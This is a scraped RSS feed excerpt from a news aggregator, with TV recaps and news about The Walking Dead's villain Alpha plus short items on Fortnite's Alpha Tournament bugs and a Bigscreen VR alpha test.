]]> https://briefnews.eu/the-walking-dead-recap-head-games-plus-all-hail-the-new-alpha/feed/ 0 The Walking Dead season 10: Alpha star teases ‘scarier and more shocking’ part B https://briefnews.eu/the-walking-dead-season-10-alpha-star-teases-scarier-and-more-shocking-part-b/ https://briefnews.eu/the-walking-dead-season-10-alpha-star-teases-scarier-and-more-shocking-part-b/#respond Mon, 13 Jan 2020 03:43:46 +0000 http://briefnews.eu/the-walking-dead-season-10-alpha-star-teases-scarier-and-more-shocking-part-b/

Scott continued: “I was hoping that audiences would be intrigued and want to see what all that [his exit] was about, which I feel is basically what happened.

“I was pretty nervous about that, but I feel that Rick is a gigantic part of the show and he has a gigantic story, and that story could be told in any number of ways. As long as we kept telling Rick’s story, we’re doing right by the audience.”

“I know that I was still interested in watching it,” he went on. “I was sure that we would tell that story, and I was hoping that the audience would appreciate that.”

The Walking Dead returns to Fox on February 24, and the next day on Fox UK.

Let’s block ads! (Why?)

]]> https://briefnews.eu/the-walking-dead-season-10-alpha-star-teases-scarier-and-more-shocking-part-b/feed/ 0 The Walking Dead Recap: Alpha Bits https://briefnews.eu/the-walking-dead-recap-alpha-bits/ https://briefnews.eu/the-walking-dead-recap-alpha-bits/#respond Mon, 14 Oct 2019 07:22:03 +0000 http://briefnews.eu/the-walking-dead-recap-alpha-bits/

RELATED STORIES

Split in two timelines, Sunday’s episode of The Walking Dead not only revealed how Alpha chose her Beta seven years ago but how the Whisperers’ leader more recently selected her Gamma (Thora Birch, making her debut). Read on, and we’ll go over all the gory — and I do mean  gory — details.

SEVEN YEARS AGO | For the sake of an easier read, rather than cut back and forth between present and past the way “We Are the End of the World” did, I’m going to cover first the flashbacks to Alpha and Beta’s meeting, then flash-forward us to the present (or close to it — the hour’s present actually took place shortly before the events of the Season 10 premiere). So, seven years ago, Alpha was trying to harden up Lydia by smearing blood all over the both of them so that the girl could practice not freaking out while walking among the dead. It did not go well. When Lydia saw a woman getting disemboweled by zombies, the youngster flipped, forcing her mother to hurry them to safety inside a hospital. Well, relative safety, anyway. There was a scary man inside wearing a ski mask and brandishing a knife like he was auditioning for AHS: 1984. Guess who. Though his inclination was to attack his uninvited guests, Alpha managed to convince him to let them stay the night. “Is he a monster?” asked Lydia later. “We’re all monsters now,” Alpha replied. Very quickly, it became obvious that Alpha and Beta were cut from, if not the same sociopathic cloth, very similar fabric. She went on about how people shouldn’t have names anymore since those who were still surviving already knew each other on a primal level. And after he admonished her for humming, he remarked that “the sound of the dead… is the only song I never want to end.” Come bedtime, Lydia turned down Alpha’s offer of her favorite stuffed bunny. The child didn’t want it any longer, she wanted to be more like her mother. This was music to Alpha’s ears since, as she told her daughter, “If you can’t [become more like me], I’ll have no choice but to leave you behind.” (And the award for Mother of the Year goes to… )

the-walking-dead-recap-season-10-episode-2-alpha-beta-backstoryLater, Alpha killed a stray walker in a hallway but was beset by more of the dead than she could handle. Beta leapt in to save her, and she discovered that “I like killing with you.” (Did that count as… flirtation?) Afterwards, as she Ginsu’d a felled walker, digging into its guts without puking, he marveled, “Oh, you’re different.” After the idea of using “big man” as a handle was shot down, Alpha christened him Mr. B, which she noted wasn’t a name, just a letter. “If I’m B,” he asked, “what does that make you?” Well, duh — “A,” she said. But then she pushed their demented connection too far by trying to remove his ski mask. “Sunrise,” he huffed. “Don’t come back.” Still, she could tell that she had him. Later on, after Lydia smeared guts on her face and let out a walker to prove she could be more like her mother, Alpha had to cross over to Beta’s side of the hall to search for her. There, Alpha spotted a snapshot of two men in front of a rehab center. One presumably was Beta; the other, a guy in a Have a Happy Day T-shirt, someone for whom he must have cared. (Brother maybe? Counselor?) Anyway, Beta had no sooner found Alpha in the forbidden zone than in walked a zombified Have a Happy Day guy, whom she immediately put down. Though Beta was enraged, she managed to convince him that “the world went dark so that we could see a new path. So come… walk with me in the darkness, and you’ll never be alone again.” In response, he declared himself the end of the world. No, she corrected. “We are the end of the world.” With that, he allowed her to lift his mask and see his face. (We, however, didn’t get a peek at what was a visage presumably disfigured from the walker tussle that had led him to his hideout.) “I can’t leave him,” Beta said of Have a Happy Day guy. “You won’t have to,” she replied, handing him a knife… to cut off the face that it seemed safe to assume he still wore in the present.

the-walking-dead-recap-season 10 episode 2 alpha beta backstoryPRESENT | Spring having arrived, Beta was eager for the pack to return to their former stomping grounds. “We are far from the enemy,” he pointed out to Alpha. “Their fear will subside.” Pshaw, she basically replied. She was sure that all the beheadings would keep them good and scared for a long time. Nonetheless, they had a mission to accomplish, one that involved rounding up as many “guardians” as possible. To that end, Alpha had Beta take “the sisters” with him to gather new walkers. One of the sisters was Gamma, though she hadn’t yet been given that title. The other was the mother of the baby that Alpha had been so willing to sacrifice to make a point to Daryl back in Season 9. This sib was significantly less committed to the Whisperers’ way of life than Gamma. And she had been so traumatized by her child’s near-death that she suffered from flashbacks — the kind that leave one sobbing and screaming in a field full of walkers. Beta saved her, but we have to assume the girl wished he hadn’t. “You will pay,” he hissed. Back at the Whisperers’ camp, Alpha prevented Gamma’s sister from being executed. She even demonstrated what passed for empathy, saying that Beta could never understand how it feels to abandon one’s child. Still, since the girl was getting the pack talking about how nice things looked at Hilltop, and how cool it might be not to smell like a walker 24/7, Alpha would handle Gamma’s sister “in the deeper place.” (Gulp.)

the-walking-dead-recap-season-10-episode-2-alpha-beta-backstoryThere, to the girl’s shock — and, frankly, mine — Alpha spared her… even kind of embraced her. Beta was shocked, too. (OK, we all were!) “If she strays again,” Alpha promised, “I will skin her alive for all to see.” As for the way the girl was rousing the rabble, Alpha would show them soon enough that our heroes’ world of personal hygiene and beds was nothing but a fantasy. Was Alpha content? Beta wondered aloud. Because he’d noticed her wandering away from camp at night now and again… Hmm. The following day, Alpha and Beta were marching their herds when the satellite went blazing overhead. As the guardians descended into chaos, Gamma’s sister was once again triggered, this time by the sight of a walker wearing a baby carrier. So she removed her mask and, screaming so as to draw walkers, attacked Alpha. Her assassination attempt might have been successful, too, had Gamma not intervened, pulling her sister off of Alpha and throwing her down to be eaten alive. That night, Alpha expressed her gratitude to her savior by anointing her Gamma in front of the whole pack. Beta, meanwhile, could scarcely contain his skepticism; he clearly saw Gamma for what she was to Alpha: a replacement Lydia. Only a day later, he discovered that the actual Lydia was still alive and well. Tracking Alpha to the spot to which she kept sneaking off, he found that she was building… something for her daughter. (Was that a nest?) She’d even kept the girl’s stuffed bunny. Tearfully — yes, tearfully — Alpha confessed that she’d lied. She hadn’t been able to kill her child. To my astonishment, Beta rather tenderly reached out to Alpha and agreed to keep from the pack the fact that their leader hadn’t murdered her daughter, as she’d led them to believe. Later, Beta reported that he’d seen smoke near their border. If our heroes had crossed it, Alpha said, they’d “teach them a lesson.” With that, she and Beta recited their apocalyptic “prayer” and rejoined the herd. Somehow, Alpha was able to remove her mask among the walkers — was her natural fragrance that pungent? — and take the detour that allowed her to spot Carol, which theoretically brings the Whisperers’ present up to the same point as our survivors’ present.

So, what did you think of “We Are the End of the World”? How would you categorize Alpha and Beta’s relationship in the present? In so far as they can feel anything, is that… love?

Popular on TVLine

Let’s block ads! (Why?)


https://pmctvline2.files.wordpress.com/2019/10/the-walking-dead-season-10-episode-2-samantha-morton.jpg

]]> https://briefnews.eu/the-walking-dead-recap-alpha-bits/feed/ 0 The Walking Dead Sneak Peek: Alpha Starts to Unmask Beta and… Ack! https://briefnews.eu/the-walking-dead-sneak-peek-alpha-starts-to-unmask-beta-and-ack/ https://briefnews.eu/the-walking-dead-sneak-peek-alpha-starts-to-unmask-beta-and-ack/#respond Fri, 11 Oct 2019 19:58:36 +0000 http://briefnews.eu/the-walking-dead-sneak-peek-alpha-starts-to-unmask-beta-and-ack/

RELATED STORIES

This week’s episode of The Walking Dead reveals not only how the Whisperers’ leader and her right-hand man became close, it reveals what happened when Alpha attempted to get a little too close to Beta. Spoiler alert: It did not go well.

In this exclusive sneak peek at the flashback-filled “We Are the End of the World” (Sunday at 9/8c on AMC), the future power couple try on post-apocalyptic handles to replace their actual names, and bond over walker guts and the way they allow their wearers to stroll among the zombified. As Alpha puts it, “There are only two kinds of people left in this world — the ones brave enough to walk with the dead… and everybody else.”

But then Alpha pushes her luck by reaching out to remove Beta’s ski mask in order to get a gander at something we’ve all been curious about: his face. As regular viewers know, although Samantha Morton’s Alpha often takes off her walker-skin mask, Ryan Hurst’s Beta has yet to be seen without his. So… what has Alpha’s henchman been hiding all this time?

To find out if we find out, press PLAY on the video above. Then answer this question in the comments: Where do you rank the Whisperers in the pantheon of TWD antagonists? Higher or lower than the Saviors? The Termians?

Let’s block ads! (Why?)


https://pmctvline2.files.wordpress.com/2019/10/the-walking-dead-season-10-episode-2-ryan-hurst-1.png

]]> https://briefnews.eu/the-walking-dead-sneak-peek-alpha-starts-to-unmask-beta-and-ack/feed/ 0 The Walking Dead Recap: Scary Tales — Plus, Alpha, From Mother to Monster https://briefnews.eu/the-walking-dead-recap-scary-tales-plus-alpha-from-mother-to-monster/ https://briefnews.eu/the-walking-dead-recap-scary-tales-plus-alpha-from-mother-to-monster/#respond Mon, 18 Feb 2019 13:57:08 +0000 http://briefnews.eu/the-walking-dead-recap-scary-tales-plus-alpha-from-mother-to-monster/ “Some people ain’t meant to be parents,” Daryl opined in Sunday’s episode of The Walking Dead. And once we’d heard Lydia’s stories about her mother — and these were just the chilling tip of the iceberg — there could be no doubt that the she-beast who called herself Alpha was one of those people. How bad was she? Read on — and, while you’re at it, call your mama!

the walking dead season 9 episode 10 recap alpha backstoryONCE UPON A TIME… | As the flashback-filled “Omega” began, Lydia recalled for Henry (as Daryl eavesdropped) Day 23 of the apocalypse, which found the then-6ish-year-old holed up with her folks and some other survivors in a moldy basement. Dad Frank, she described as being vaguely menacing — a lot like Carol’s abusive first husband, Ed (may he rest in pieces!). Mom she recalled being sweet at the time, funny (she always called “checkmate” while playing checkers) and reassuring enough to sing her daughter “Lydia the Tattooed Lady” when she was scared. And the way that the kids mentioned in passing that their mothers weren’t folks that one messed with suggested that we would get a helluva confrontation between Alpha and Carol down the line.

Later, Henry attempted to flirt with Lydia by offering her one of the eggs that he’d been served for breakfast. Pass, she said. “Hunger’s a gift.” (Jenny Craig, your new slogan has arrived!) When she asked why he was being nice to her, he remembered that when he’d been found along with his father and brother (Benjamin shout-out!), they’d been so messed up that they’d needed a lot of people being nice to them to make things OK again. “You think I’m messed up?” asked the walker-skin-wearer without a trace of irony. Uh, yeah, Henry implied as he questioned how hunger was a gift. Cribbing from dialogue of his that she’d never heard, she replied, “If I have to explain it, you wouldn’t understand.” Anyway, it was never going to be OK again; her dad had said so.

the walking dead season 9 episode 10 recap alpha backstoryLOOSE LIPS | In another flashback, we saw how desperate Lydia’s father became. So desperate that he would’ve risked her life to flee from the basement with her, had Mom not stopped him. “Bitch,” he grumbled before starting to cut off the beard that his wife had always liked. “The world’s over. I’m doing what I want now.” Back in present-day, Lydia soon had Henry spilling so much intel about the Kingdom that he was sure to get a Dumbest Character Ever nomination. Thankfully, Daryl quickly intervened, sprung his ward from lockup and reminded him, “You got family at the Kingdom, nimrod!” OK, he didn’t actually say “nimrod,” but he should’ve. Being an idiot, Henry was mostly upset to learn that his babysitter (and others) had been listening to his conversations with Lydia.

Meanwhile, out searching for Alden and Luke, Tara, Magna, Yumiko, Kelly, Connie and Kal happened on some old-school walkers feasting on the missing persons’ horses — which had been cut open and skinned by the new-school variety. Should the Hilltoppers split up and cover more ground? No, said Tara. Well aware that Lydia had told enough lies to sprout a foot-long nose, the Hilltop’s de-facto leader suggested that instead, they head back and come up with an actual plan. Which sounded to me like a pretty decent plan. Upon learning what the group had discovered, Daryl again took a shot at questioning Lydia. If her mom had Alden and Luke, what would she do — kill ’em? She’d “do what she had to,” the girl answered. Honestly, kid, a simple yes would’ve sufficed.

the walking dead season 9 episode 10 recap alpha backstoryBIRTH OF A MONSTER | Flashing back to that fateful basement once again, Lydia recalled how one of the other survivors down there became panicked — panicked in the noisy sort of way that threatened to attract walkers and get them all killed. So her mother had violently pinned him, hissing, “You are weak and pathetic, and there is no room for you here, so shut your mouth… Do you hear me?” Only he didn’t really hear her since that was about the moment that she snapped his neck. Now, it appeared, Frank was the nurturing parent — scared of his wife and singing “Lydia the Tattooed Lady” to their daughter. Back in the present, Daryl told Lydia that it didn’t have to be that way. Only it appeared that it did: When he neared her cell with a ladle of water, she attacked him, in the process revealing terrible scars on her arm.

Elsewhere at the Hilltop, though Yumiko was eager to go back out and look for Luke — oh, and Alden; him, too — Magna didn’t want to risk pissing off Tara. Magna had nearly blown it for them all back in Alexandria, she quite rightly noted, and she wasn’t eager to take a chance with the good thing that they now had going at the Hilltop. Well, if it were up to Luke, Kelly pointed out, he’d continue the search. He’d be hellbent on getting and keeping them together. And it wouldn’t be hard to sneak out — she’d seen some kids do it, so obviously, anyone could. In the end, Magna was outvoted — they’d go after Luke once the sun set.

the walking dead season 9 episode 10 recap alpha backstoryPAPA DON’T SCREECH | That evening, Daryl visited Lydia again — this time with a switch from a birch tree. Frank, he said, sounded like the kinda dad who’d make up any excuse just to wail on his kid. Except for the singing part. “Those dads, they like it when you’re scared.” And that, he added, was the only part of her story that he’d believed thus far. So who gave her those scars? “My mom,” Lydia said. And where was she? “Be glad you don’t know.” Clearly, Daryl hadn’t watched enough Law & Order before the apocalypse! Frustrated, he couldn’t fathom why she was protecting her mother when she was safer right where she was. “This place isn’t real,” Lydia said as she’d clearly been taught to. And if her mom was hard, so what? “When you stay soft,” Lydia said, again like a brainwashing victim, “people die.”

During a subsequent flashback — and if you’re confused reading this, don’t worry; I was a little bit, too, when watching, but it’ll make sense soon — Mom had her head shaved, and Frank had his beard back. Yet it was only a little while after Mom had killed the guy who’d panicked (and then she’d had longer hair, and Dad had been clean-shaven). In the night, Lydia got up to look at the stiff, and when it reanimated, her father was killed trying to save her. He “was soft,” she told Daryl, “and now he’s dead.” What else could he have done, Daryl asked, but protect her? “If you can’t bend, you break,” Lydia said, obviously reading from the Book of Alpha. “He broke.” She then went so far as to suggest that Daryl didn’t belong someplace like the Hilltop. “You’re hard,” she said. “They’re soft.”

the walking dead season 9 episode 10 recap alpha backstorySAFE PLAY | As soon as Daryl left Lydia, Henry was all over him with questions, ranging from “What’s gonna happen to her?” to “Did someone used to beat you up?” Given stony silence as the answer to the latter question, Henry told his guardian that he’d once heard Ezekiel ask Carol why she kept her hair so short. Ed used to grab it when she ran away from him, she’d said. So one day, she’d cut it all off. “It took her this long to feel safe again,” Henry added. So maybe Daryl could show Lydia that she has nothing to be scared of. “You can do that,” the teen pleaded. “Only you.” Uh-uh, Daryl replied. “Not just me.” Clearly, a plot was being hatched. A kindhearted one but a plot nonetheless.

That night, Yumiko, Magna, Connie and Kelly seemed to scarcely have begun their search for Luke — oh, and Alden — before they found Whisperer tracks and an antsy Yumiko admitted that she couldn’t stop thinking about Coalport. They’d had to leave their posts, Magna argued. That, or die. Well, Yumiko still didn’t want to die, so after a walker attacked out of nowhere, she suggested that they go back. At that, Kelly broke down. Luke’s family, she cried. And when she’d gotten separated from them in Coalport, he’d been the one who found her. “I can’t leave him out here,” she sobbed. “I can’t.” So, as an unnoticed Whisperer watched from nearby, Connie agreed to stay with her sister while their friends returned to the Hilltop.

the walking dead season 9 episode 10 recap alpha backstoryBUGGING OUT | Back on the cell block, Henry told Lydia that Daryl didn’t know he was there. Henry had said he’d talk to her the next day but couldn’t wait. Because… ? “I like you,” he told Lydia. “I think you’re a good person.” He even let her out of her cell to show her around the Hilltop in secret — a move that would’ve clinched his win as Dumbest Character Ever, had we not soon learned that Daryl was watching them as a part of his plan to win over the girl. And no one could say that Henry didn’t go the extra mile to earn Lydia’s trust; he even ate a worm, which apparently was one of the Whisperers’ preferred snacks. (Do I have to mention at this point that the “date” included no kissing?)

As Lydia soaked in her lavish surroundings, she at first appeared to be contemplating bludgeoning Henry with a hammer. She was at a crossroads, though. “Places like this aren’t supposed to exist,” she said as if unsure whether she could believe her eyes. And when a baby’s cry told her that this utopia was real, that was it — the dam broke. She sped through a series of torturous flashbacks that revealed that her mother, not her father, had always been the hard one, then asked Henry to lock her back up. Would he… stay with her, though? Of course he would. He laid down on the other side of her cell bars and held her hand through the night.

TALK IS DEEP | The following morning, when Daryl came down to Lydia’s cell, he actually gave her the ladle to drink from. His plan having been a success, she was ready to tell the truth, the whole truth and nothing but. For starters, her mom wouldn’t be coming for her. When someone gets lost from their group, they just move on “like they never existed.” So she’d been trying to learn about the Hilltop and Kingdom to give Mom a reason to take her back. “You’re her daughter,” said an incredulous Henry. “Does that not matter?” Yeah, uh, no. Also, if Mom had Luke and Alden, there’d be no reason she’d keep them alive. Does she have a camp? Yes, Lydia said. About a mile east of a guard bridge. But they wouldn’t stay long. They never did.

After Lydia answered Daryl’s questions, Henry asked if the stuff about her family had been true. She’d thought so. Except… “It was a lie, but the lie wasn’t mine. My mom told it to me over and over for years. But deep down, I knew… I knew what she was. I knew what she did.” Which was what, exactly? When Mom’s first victim had reanimated, she’d begun breaking boards off the windows to leave with her family. When Frank had balked at the notion of taking Lydia out there, she’d taken advantage of the chaos to step on Lydia’s stuffed bunny and murder him. (OK, the murder was the point, but the stuffed-bunny-stepping really just showed what a monster she was, even then.)

the walking dead season 9 episode 10 recap alpha backstoryMAMMA MIA | When Daryl and Henry left Lydia, the former promised to talk to Tara about letting her stay (or at least that was the implication). “I’m glad,” Henry told his protector, that “you and my mom are friends.” (We all are, kid.) Nearby, Yumiko was apologizing to Tara for sneaking out just as the Hilltop’s guards were bringing back Kelly and Connie and… holy crap, what was that s—? A power-walking group of Whisperers was headed right for them, sending Connie running into a cornfield to hide. Among the masked villains was one Whisperer without a walker skin covering her face: Lydia’s mom! “I am Alpha,” she announced as they reached the gate. “And we only want one thing from you: my daughter.” Dunno ’bout you, but I got chills, they’re multiplyin’. What did you think of Alpha and Lydia’s backstory? Hit the comments.

Let’s block ads! (Why?)


https://pmctvline2.files.wordpress.com/2019/02/the-walking-dead-season-9-episode-10-samantha-morton.jpg

]]> https://briefnews.eu/the-walking-dead-recap-scary-tales-plus-alpha-from-mother-to-monster/feed/ 0 Fortnite Not Working: Alpha Tournament troubles on Day Two https://briefnews.eu/fortnite-not-working-alpha-tournament-troubles-on-day-two/ https://briefnews.eu/fortnite-not-working-alpha-tournament-troubles-on-day-two/#respond Thu, 18 Oct 2018 05:10:52 +0000 http://briefnews.eu/fortnite-not-working-alpha-tournament-troubles-on-day-two/

It was expected to have a few growing pains, being such a big new feature for Fortnite Battle Royale.

And it appears that some fans aren’t able to access the new Alpha Tournament being held tonight.

Reports of the Tournament not working properly, not appearing as live, or not rewarding pins, are now being shared.

There is also a good chance that server capacity is the main factor from keeping most players off the tournament and events tab.

This is day two of the competition, following day one having its own issues.

These included a bug that prevented points from being awarded to those who earned them.

“An issue was identified where often the ‘Tournament Region’ displayed in the Events tab would indicate a player was viewing the event list for ‘North America’,” Epic Games confirms.

“This is a visual bug only, each region has their own tournament schedule and all times displayed inside of the Events tab are correct based on your local timezone and system clock.”

Server capacity could also be keeping some players off the Alpha Tournmanent, with Epic Games adding:

“The sudden influx of players attempting to search for matches at the start of the tournament caused some issues with our matchmaking services as they attempted to balance match assignment in response to the demand.

“We are updating our matchmaking strategy to better accommodate the rush of players at the start of a tournament.”

However, while the development team are hoping to improve the system, another surge of players from North America might have affected matchmaking for a second night.

The good news is that Epic Games says there is plenty that can be improved in the matchmaking department, with plenty of fine-tuning still needed.

“The tournament system is intended to match you against players with the similar score during the session, becoming less strict in its search over time to ensure you find a match eventually,” Epic Games adds.

“Players who have higher scores should expect longer matchmaking times and tougher matches, while players with lower scores should expect an easier time as many of the higher scoring players filter out.

“Currently we’re finding that this isn’t working correctly and is resulting in matches that are more mixed in score than we intended, especially when it comes to players with high scores during the event.

“We’ll be continuing to iterate on this to provide a better-matched experience, so expect this to fluctuate regularly.”

Epic Games are expected to share further feedback, this time focusing on Day Two of the Alpha Tournament, later today.

Let’s block ads! (Why?)

]]> https://briefnews.eu/fortnite-not-working-alpha-tournament-troubles-on-day-two/feed/ 0 Fortnite Alpha Tournament start times, events tab, Shiny Pin reward status https://briefnews.eu/fortnite-alpha-tournament-start-times-events-tab-shiny-pin-reward-status/ https://briefnews.eu/fortnite-alpha-tournament-start-times-events-tab-shiny-pin-reward-status/#respond Wed, 17 Oct 2018 07:58:25 +0000 http://briefnews.eu/fortnite-alpha-tournament-start-times-events-tab-shiny-pin-reward-status/

UPDATE ONE: The Fortnite Alpha Tournament kicked off last night but it wasn’t all smooth sailing for those who took part.

Problems with matchmaking and scores made it a pretty rough release for some, with Epic Games confirming changes are on the way.

One of the major issues that have been affecting Fortnite players so far is the incorrect scoring being used as part of the event.

This will lead to less Shiny Pins being doled out and therefore fewer rewards. Here’s the official news from Epic Games, who confirmed:

“Players did not receive any points because they were not being matched into the tournament correctly – despite it appearing as if they were. Restarting the game would fix this issue and allow you to earn points. This should now display an error if you try to matchmake with this issue, and we’ll be fixing in a future release.

“Players may incorrectly either receive a point or not get credit for reaching an elimination or placement goal. However, the correct score would be shown after a 2-3 minute delay or the next time a player returned to the Lobby. We’re actively investigating a fix for this, but your score should be correct at the end of an event currently.”

Unfortunately, any points lost during this event will not be recoverable, Epic Games has confirmed.

The official schedule for the Alpha Tournament can be found at the bottom of this article.

ORIGINAL: Fortnite fans are getting their first taste of the new Alpha Tournament being run by Epic Games.

It’s a brand new feature that was added to the game today via the Fortnite events tab.

The new Tournament options can be found in the in-game Events tab, which will host a range of online competitions.

The good news is that these new competitions will be open to everyone, not just the best players.

Unlike the current Skirmish events being held by Epic Games, Tournaments aren’t so orientated toward eSports and prizes.

However, Epic Games has confirmed that players will be able to collect Shiny Pins, which provide bonuses.

All Tournaments will have a target score and reaching this will award Fortnite players with a shiny pin.

This new item can advance you to the next round of a tournament and also unlock prizes.

Each tournament will have scheduled dates and times and will reset after every run, so no one goes into an event with better stats.

The first Alpha Tournament is a solo event which has started today and will be split between regions but not controller settings.

“We’ve been observing the performance of controller players in our Summer Skirmish, PAX West, and Fall Skirmish tournaments while playing against mouse and keyboard players at the highest levels of competition,” Epic Games confirms in a new post.

“Competitors such as NickMercs, Ayden, KamoLRF, and AmarCoD have shown that controller players can be successful while competing against some of the best PC players in the world.

“Combining everyone into a single competition will allow for players to compete with their friends regardless of platforms and will allow us to place a single shining spotlight onto the world’s best players, increasing prize pools and player exposure from our competitions.”

This will be followed a Duo Beta Tournament, which will kick off next week on October 23, running until October 25.

Tournaments should be live in some regions right now, while others will have to wait until tonight to get started.

Event times will be the same for all days during which the tournament is running, although more will be revealed about the process going forward

Event times for Alpha Tournament in all regions:

NA (Note: NAW & NAE share the same tournament, but matchmaking will be selected by server region)

  • 2300 – 0200 UTC
  • 7 PM – 10 PM ET
  • 4 PM – 7 PM PT

EU

  • 1600 – 1900 UTC
  • 6 PM – 9 PM CEST

BR

  • 2200 – 0100 UTC
  • 7 PM – 10 PM BRT

ASIA

  • 1000 – 1300 UTC
  • 7 PM – 10 PM JST

OCE

  • 0600 – 0900 UTC
  • 5 PM – 8 PM AEDT

Let’s block ads! (Why?)

]]> https://briefnews.eu/fortnite-alpha-tournament-start-times-events-tab-shiny-pin-reward-status/feed/ 0 Bigscreen launches alpha test for Gear VR mobile streaming https://briefnews.eu/bigscreen-launches-alpha-test-for-gear-vr-mobile-streaming/ https://briefnews.eu/bigscreen-launches-alpha-test-for-gear-vr-mobile-streaming/#respond Mon, 19 Mar 2018 03:27:37 +0000 http://briefnews.eu/bigscreen-launches-alpha-test-for-gear-vr-mobile-streaming/

Bigscreen is only available on PC VR headsets such as the Oculus Rift, HTC Vive, and Windows VR platform, but that’s all about to change. Starting today, Bigscreen is starting its Alpha Testing signup phase for the Samsung Gear VR mobile version of Bigscreen. The mobile edition of Bigscreen will eventually come to other platforms as well, such as G…Read More

]]> https://briefnews.eu/bigscreen-launches-alpha-test-for-gear-vr-mobile-streaming/feed/ 0 The Walking Dead season 8 news: Is Jadis Alpha? Star speaks out and it’s pretty shocking https://briefnews.eu/the-walking-dead-season-8-news-is-jadis-alpha-star-speaks-out-and-its-pretty-shocking/ https://briefnews.eu/the-walking-dead-season-8-news-is-jadis-alpha-star-speaks-out-and-its-pretty-shocking/#respond Tue, 06 Mar 2018 19:25:44 +0000 http://briefnews.eu/the-walking-dead-season-8-news-is-jadis-alpha-star-speaks-out-and-its-pretty-shocking/

Episode 10 of The Walking Dead saw Jadis (played by Pollyanna Macintosh) lose all of her group to evil Simon (Steven Ogg) and the Saviors.

Although she is now a lone wolf on the show, many have been secretly hoping for months they will see her become Alpha, an evil leader seen in Robert Kirkman’s comic book series. 

After teasing fans for months, Pollyanna has spoken out officially on the matter, appearing to give a definitive answer. 

She previously explained: “[Alpha has] been brought up by the fans on those funny sites since I got cast, before we even shot a second of it or anyone had seen a script.

“People really love that character and they are excited to see her and I’d be honoured for it to be me, but I’d also be thrilled if we could have another great female character come in, and why not have two?

“So for me, it’s like, which is better? Which is more exciting: To add another great woman to the cast of characters, or to get to do it myself? 

“I don’t honesty know. They’ll decide,” she mused to Entertainment Weekly. 

However, after the weekend’s dramatic instalment which saw her lose all of her Scavenger team, Pollyanna’s mindset changed. 

She told ComicBook after the episode that showrunner Scott Gimple has absolutely ruled out the possibility of her becoming the villainous leader. 

Pollyanna confirmed: “No, he’s said publicly and to me, ‘It’s a completely different thing – it’s not you’.

“And I say, ‘Fine, okay’.”

What this does confirm, however, is Alpha will definitely be appearing in the series at some point.

Alpha runs The Whisperers in the comic books and is thought to be a worse villain than Negan (Jeffrey Dean Morgan). 

The latest comes as Christian Serratos, who plays Rosita, hinted her character could be next to die. 

She told Express.co.uk she never “fears being killed off the show”. 

The Walking Dead continues next Monday on Fox UK at 9pm. 

Let’s block ads! (Why?)

]]> https://briefnews.eu/the-walking-dead-season-8-news-is-jadis-alpha-star-speaks-out-and-its-pretty-shocking/feed/ 0